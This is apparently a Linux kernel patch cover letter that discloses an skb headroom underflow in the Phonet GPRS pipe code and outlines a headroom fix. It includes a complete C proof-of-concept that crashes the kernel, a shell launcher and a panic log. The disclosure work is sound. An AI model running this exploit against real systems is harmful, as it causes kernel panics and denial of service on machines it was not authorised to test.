[PATCH net 0/1] net: phonet: ensure headroom for aligned GPRS TX
flat view
COOLING4d
From: Ren Wei <hidden>
Date: 2026-10-12 00:48:59
From: Luxiao Xu <redacted> Hi Linux kernel maintainers, We found and validated an skb headroom underflow bug in net/phonet/pep.c. The bug can be triggered when transmitting packets over an aligned Phonet GPRS pipe, leading to skb_under_panic and a kernel crash. We have tested the fix, and it does not affect normal functionality. This bug is tracked at: https://bugtracker.nebusec.ai/f/1935 We will provide detailed information about the bug in this email, along with a PoC to trigger it. === details below === Bug details: gprs_xmit() forwards the incoming L3 skb directly to pep_write(). When a server-side pipe has negotiated PN_PIPE_SB_ALIGNED_DATA, pep_write() skips the wrapper skb allocation and calls pipe_skb_send() on the original skb. pipe_skb_send() prepends the pipe header with skb_push(), and pn_send() prepends the Phonet header with skb_push() as well. However, the GPRS netdev advertises hard_header_len = 0 and does not set needed_headroom. If an skb with insufficient headroom (such as one redirected from a veth interface) is transmitted on an aligned GPRS pipe, skb_push() underflows the skb headroom and triggers a kernel BUG via skb_under_panic(). Ensure sufficient headroom in pep_write() using skb_cow_head() before sending the skb on an aligned pipe. If reallocation fails, drop the skb and return -ENOMEM. Reproducer: The reproducer sets up an AF_PHONET address, creates a listening PEP socket, negotiates PN_PIPE_SB_ALIGNED_DATA on the accepted pipe, enables GPRS encapsulation (creating gprs0), and uses tc mirred redirect on a veth pair to forward raw packets to gprs0 with minimal headroom. We run the PoC in an x86 QEMU environment. === BEGIN poc.c === #define _GNU_SOURCE #include <arpa/inet.h> #include <errno.h> #include <linux/if_ether.h> #include <linux/if_packet.h> #include <linux/netlink.h> #include <linux/phonet.h> #include <linux/rtnetlink.h> #include <net/if.h> #include <stdbool.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/ioctl.h> #include <sys/socket.h> #include <sys/types.h> #include <unistd.h> #ifndef AF_PHONET #define AF_PHONET 35 #endif #define PNS_PIPE_ENABLED_IND 0x64 #define PNS_PEP_CONNECT_REQ 0x40 #define PN_PIPE_SB_ALIGNED_DATA 6 #define PN_PIPE_ENABLE 1 #define PHONET_ADDR 0x10 #define PIPE_HANDLE 0x01 static void die(const char *msg) { perror(msg); exit(EXIT_FAILURE); } static void die_errno(const char *msg, int err) { errno = -err; perror(msg); exit(EXIT_FAILURE); } static int run_cmd(const char *cmd) { int ret; fprintf(stderr, "[*] %s\n", cmd); ret = system(cmd); if (ret != 0) fprintf(stderr, "[!] command failed: rc=%d\n", ret); return ret; } static void addattr_l(struct nlmsghdr *nlh, size_t maxlen, int type, const void *data, size_t alen) { size_t len = RTA_LENGTH(alen); struct rtattr *rta; if (NLMSG_ALIGN(nlh->nlmsg_len) + RTA_ALIGN(len) > maxlen) { fprintf(stderr, "netlink attribute overflow\n"); exit(EXIT_FAILURE); } rta = (struct rtattr *)((char *)nlh + NLMSG_ALIGN(nlh->nlmsg_len)); rta->rta_type = type; rta->rta_len = len; if (alen) memcpy(RTA_DATA(rta), data, alen); nlh->nlmsg_len = NLMSG_ALIGN(nlh->nlmsg_len) + RTA_ALIGN(len); } static void rtnl_do_phonet_addr(int ifindex, uint8_t addr, bool add) { struct { struct nlmsghdr nlh; struct ifaddrmsg ifa; char attrbuf[64]; } req; char buf[4096]; struct sockaddr_nl nl = { .nl_family = AF_NETLINK, }; struct iovec iov; struct msghdr msg; int fd; ssize_t n; struct nlmsghdr *nh; fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); if (fd < 0) die("socket(AF_NETLINK)"); memset(&req, 0, sizeof(req)); req.nlh.nlmsg_len = NLMSG_LENGTH(sizeof(req.ifa)); req.nlh.nlmsg_type = add ? RTM_NEWADDR : RTM_DELADDR; req.nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; if (add) req.nlh.nlmsg_flags |= NLM_F_CREATE | NLM_F_EXCL; req.ifa.ifa_family = AF_PHONET; req.ifa.ifa_prefixlen = 0; req.ifa.ifa_scope = RT_SCOPE_LINK; req.ifa.ifa_index = ifindex; addattr_l(&req.nlh, sizeof(req), IFA_LOCAL, &addr, sizeof(addr)); iov.iov_base = &req; iov.iov_len = req.nlh.nlmsg_len; memset(&msg, 0, sizeof(msg)); msg.msg_name = &nl; msg.msg_namelen = sizeof(nl); msg.msg_iov = &iov; msg.msg_iovlen = 1; if (sendmsg(fd, &msg, 0) < 0) die("sendmsg(RTM_NEWADDR/DELADDR)"); n = recv(fd, buf, sizeof(buf), 0); if (n < 0) die("recv(netlink ack)"); for (nh = (struct nlmsghdr *)buf; NLMSG_OK(nh, (unsigned int)n); nh = NLMSG_NEXT(nh, n)) { if (nh->nlmsg_type == NLMSG_ERROR) { struct nlmsgerr *err = (struct nlmsgerr *)NLMSG_DATA(nh); if (err->error == 0) { close(fd); return; } if (add && err->error == -EEXIST) { close(fd); return; } die_errno("phonet address netlink ack", err->error); } } fprintf(stderr, "unexpected netlink response\n"); close(fd); exit(EXIT_FAILURE); } static void bind_phonet_addr(struct sockaddr_pn *spn, uint8_t addr) { memset(spn, 0, sizeof(*spn)); spn->spn_family = AF_PHONET; pn_sockaddr_set_addr(spn, addr); } static void xbind(int fd, const struct sockaddr_pn *spn) { if (bind(fd, (const struct sockaddr *)spn, sizeof(*spn)) < 0) die("bind(AF_PHONET)"); } static struct sockaddr_pn xgetsockname_pn(int fd) { struct sockaddr_pn spn; socklen_t sl = sizeof(spn); memset(&spn, 0, sizeof(spn)); if (getsockname(fd, (struct sockaddr *)&spn, &sl) < 0) die("getsockname(AF_PHONET)"); return spn; } static int setup_aligned_gprs(char *gprs_ifname) { static const uint8_t connect_req[64] = { PN_PIPE_SB_ALIGNED_DATA, PNS_PEP_CONNECT_REQ, PIPE_HANDLE, PN_PIPE_ENABLE, 0x00, 0x00, 0x00, 0x01, }; static const uint8_t enabled_ind[] = { 0x00, PNS_PIPE_ENABLED_IND, PIPE_HANDLE, 0x00, }; struct sockaddr_pn bind_addr; struct sockaddr_pn listener_addr; struct sockaddr_pn peer_addr; int listener_fd; int peer_fd; int conn_fd; int encap = PNPIPE_ENCAP_IP; int ifindex = 0; socklen_t optlen = sizeof(ifindex); rtnl_do_phonet_addr(if_nametoindex("lo"), PHONET_ADDR, true); listener_fd = socket(AF_PHONET, SOCK_SEQPACKET, PN_PROTO_PIPE); if (listener_fd < 0) die("socket(listener)"); bind_phonet_addr(&bind_addr, PHONET_ADDR); xbind(listener_fd, &bind_addr); listener_addr = xgetsockname_pn(listener_fd); fprintf(stderr, "[*] listener object=0x%04x\n", pn_sockaddr_get_object(&listener_addr)); if (listen(listener_fd, 1) < 0) die("listen(AF_PHONET)"); peer_fd = socket(AF_PHONET, SOCK_DGRAM, PN_PROTO_PHONET); if (peer_fd < 0) die("socket(peer)"); xbind(peer_fd, &bind_addr); peer_addr = xgetsockname_pn(peer_fd); fprintf(stderr, "[*] peer object=0x%04x\n", pn_sockaddr_get_object(&peer_addr)); if (sendto(peer_fd, connect_req, sizeof(connect_req), 0, (struct sockaddr *)&listener_addr, sizeof(listener_addr)) < 0) die("sendto(connect_req)"); conn_fd = accept(listener_fd, NULL, NULL); if (conn_fd < 0) die("accept()"); fprintf(stderr, "[*] accepted aligned pipe\n"); if (sendto(peer_fd, enabled_ind, sizeof(enabled_ind), 0, (struct sockaddr *)&listener_addr, sizeof(listener_addr)) < 0) die("sendto(enabled_ind)"); if (setsockopt(conn_fd, SOL_PNPIPE, PNPIPE_ENCAP, &encap, sizeof(encap)) < 0) die("setsockopt(PNPIPE_ENCAP)"); if (getsockopt(conn_fd, SOL_PNPIPE, PNPIPE_IFINDEX, &ifindex, &optlen) < 0) die("getsockopt(PNPIPE_IFINDEX)"); if (ifindex <= 0) die("invalid gprs ifindex"); if (!if_indextoname(ifindex, gprs_ifname)) die("if_indextoname(gprs)"); fprintf(stderr, "[*] gprs ifname=%s ifindex=%d\n", gprs_ifname, ifindex); close(listener_fd); close(peer_fd); return conn_fd; } static void set_if_up(const char *ifname) { struct ifreq ifr; int fd; fd = socket(AF_INET, SOCK_DGRAM, 0); if (fd < 0) die("socket(AF_INET)"); memset(&ifr, 0, sizeof(ifr)); snprintf(ifr.ifr_name, sizeof(ifr.ifr_name), "%s", ifname); if (ioctl(fd, SIOCGIFFLAGS, &ifr) < 0) die("SIOCGIFFLAGS"); ifr.ifr_flags |= IFF_UP; if (ioctl(fd, SIOCSIFFLAGS, &ifr) < 0) die("SIOCSIFFLAGS"); close(fd); } static void setup_redirect(const char *src_ifname, const char *dst_ifname) { char cmd[512]; run_cmd("ip link del pocv0 >/dev/null 2>&1 || true"); snprintf(cmd, sizeof(cmd), "ip link add %s type veth peer name pocv1", src_ifname); if (run_cmd(cmd) != 0) exit(EXIT_FAILURE); snprintf(cmd, sizeof(cmd), "ip link set %s up", src_ifname); if (run_cmd(cmd) != 0) exit(EXIT_FAILURE); if (run_cmd("ip link set pocv1 up") != 0) exit(EXIT_FAILURE); snprintf(cmd, sizeof(cmd), "tc qdisc add dev %s clsact", src_ifname); if (run_cmd(cmd) != 0) exit(EXIT_FAILURE); snprintf(cmd, sizeof(cmd), "tc filter add dev %s egress pref 1 matchall " "action mirred egress redirect dev %s", src_ifname, dst_ifname); if (run_cmd(cmd) != 0) exit(EXIT_FAILURE); } static void trigger_redirect_raw(const char *src_ifname) { uint8_t frame[14 + 20 + 4]; uint8_t *eth = frame; uint8_t *ip = frame + 14; struct sockaddr_ll sll; int fd; int ifindex; int i; memset(frame, 0, sizeof(frame)); memset(eth, 0x41, 6); memset(eth + 6, 0x42, 6); eth[12] = 0x08; eth[13] = 0x00; ip[0] = 0x45; ip[1] = 0x00; ip[2] = 0x00; ip[3] = sizeof(ip); ip[4] = 0x00; ip[5] = 0x01; ip[6] = 0x00; ip[7] = 0x00; ip[8] = 64; ip[9] = 17; ip[12] = 1; ip[13] = 1; ip[14] = 1; ip[15] = 1; ip[16] = 2; ip[17] = 2; ip[18] = 2; ip[19] = 2; ifindex = if_nametoindex(src_ifname); if (ifindex == 0) die("if_nametoindex(src)"); fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_IP)); if (fd < 0) die("socket(AF_PACKET)"); memset(&sll, 0, sizeof(sll)); sll.sll_family = AF_PACKET; sll.sll_protocol = htons(ETH_P_IP); sll.sll_ifindex = ifindex; sll.sll_halen = ETH_ALEN; memset(sll.sll_addr, 0x41, ETH_ALEN); for (i = 0; i < 128; i++) { ssize_t ret; ret = sendto(fd, frame, sizeof(frame), 0, (struct sockaddr *)&sll, sizeof(sll)); if (ret < 0) die("sendto(AF_PACKET)"); usleep(1000); } close(fd); } int main(int argc, char **argv) { const char *src_ifname = "pocv0"; char gprs_ifname[IF_NAMESIZE]; int conn_fd; fprintf(stderr, "[*] setup aligned phonet pipe and gprs encapsulation\n"); conn_fd = setup_aligned_gprs(gprs_ifname); set_if_up(gprs_ifname); setup_redirect(src_ifname, gprs_ifname); if (argc > 1 && strcmp(argv[1], "--setup-only") == 0) { fprintf(stderr, "[*] setup complete; not triggering\n"); pause(); return 0; } fprintf(stderr, "[*] trigger redirected raw packet xmit\n"); trigger_redirect_raw(src_ifname); close(conn_fd); return 0; } === END poc.c === === BEGIN poc.sh === #!/bin/sh set -eu DIR=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd) cd "$DIR" make exec ./poc === END poc.sh === === BEGIN crash log === [ 292.244773][T10222] skbuff: skb_under_panic: text:ffffffff8a581043 len:42 put:4 head:ffff888047ab96c0 data:ffff888047ab96be tail:0x28 end:0x180 dev:gprs0 [ 292.247407][T10222] kernel BUG at net/core/skbuff.c:209! [ 292.248168][T10222] Oops: invalid opcode: 0000 [#1] PREEMPT SMP KASAN NOPTI [ 292.248769][T10222] CPU: 0 UID: 0 PID: 10222 Comm: poc_phonet_gprs Not tainted 6.12.74 #3 [ 292.250121][T10222] RIP: 0010:skb_panic+0x15c/0x1d0 [ 292.256868][T10222] Call Trace: [ 292.257355][T10222] <TASK> [ 292.258154][T10222] skb_push+0xcf/0xf0 [ 292.258479][T10222] pipe_skb_send+0x143/0x4b0 [ 292.259258][T10222] pep_write+0x3f4/0x4f0 [ 292.260017][T10222] gprs_xmit+0x18d/0x520 [ 292.260360][T10222] dev_hard_start_xmit+0x147/0x7a0 [ 292.264712][T10222] __dev_queue_xmit+0x22bc/0x4350 [ 292.270216][T10222] tcf_dev_queue_xmit+0x45/0x60 [ 292.270588][T10222] tcf_mirred_to_dev+0xc87/0xff0 [ 292.275389][T10222] tcf_action_exec+0x1c2/0xa20 [ 292.276519][T10222] tcf_classify+0x7f1/0x1390 [ 292.277198][T10222] tc_run+0x444/0x760 [ 292.279634][T10222] __dev_queue_xmit+0xb30/0x4350 [ 292.285208][T10222] packet_xmit+0x248/0x360 [ 292.285560][T10222] packet_sendmsg+0x2704/0x55c0 [ 292.289562][T10222] __sys_sendto+0x47e/0x4d0 [ 292.291111][T10222] __x64_sys_sendto+0xe5/0x1c0 [ 292.292624][T10222] do_syscall_64+0xc7/0x250 [ 292.293394][T10222] RIP: 0033:0x7ffa33779687 [ 292.298780][T10222] ---[ end trace 0000000000000000 ]--- [ 292.305715][T10222] Kernel panic - not syncing: Fatal exception in interrupt [ 292.306639][T10222] Rebooting in 86400 seconds.. === END crash log === Best regards, Luxiao Xu Luxiao Xu (1): net: phonet: ensure headroom for aligned GPRS TX net/phonet/pep.c | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) -- 2.43.0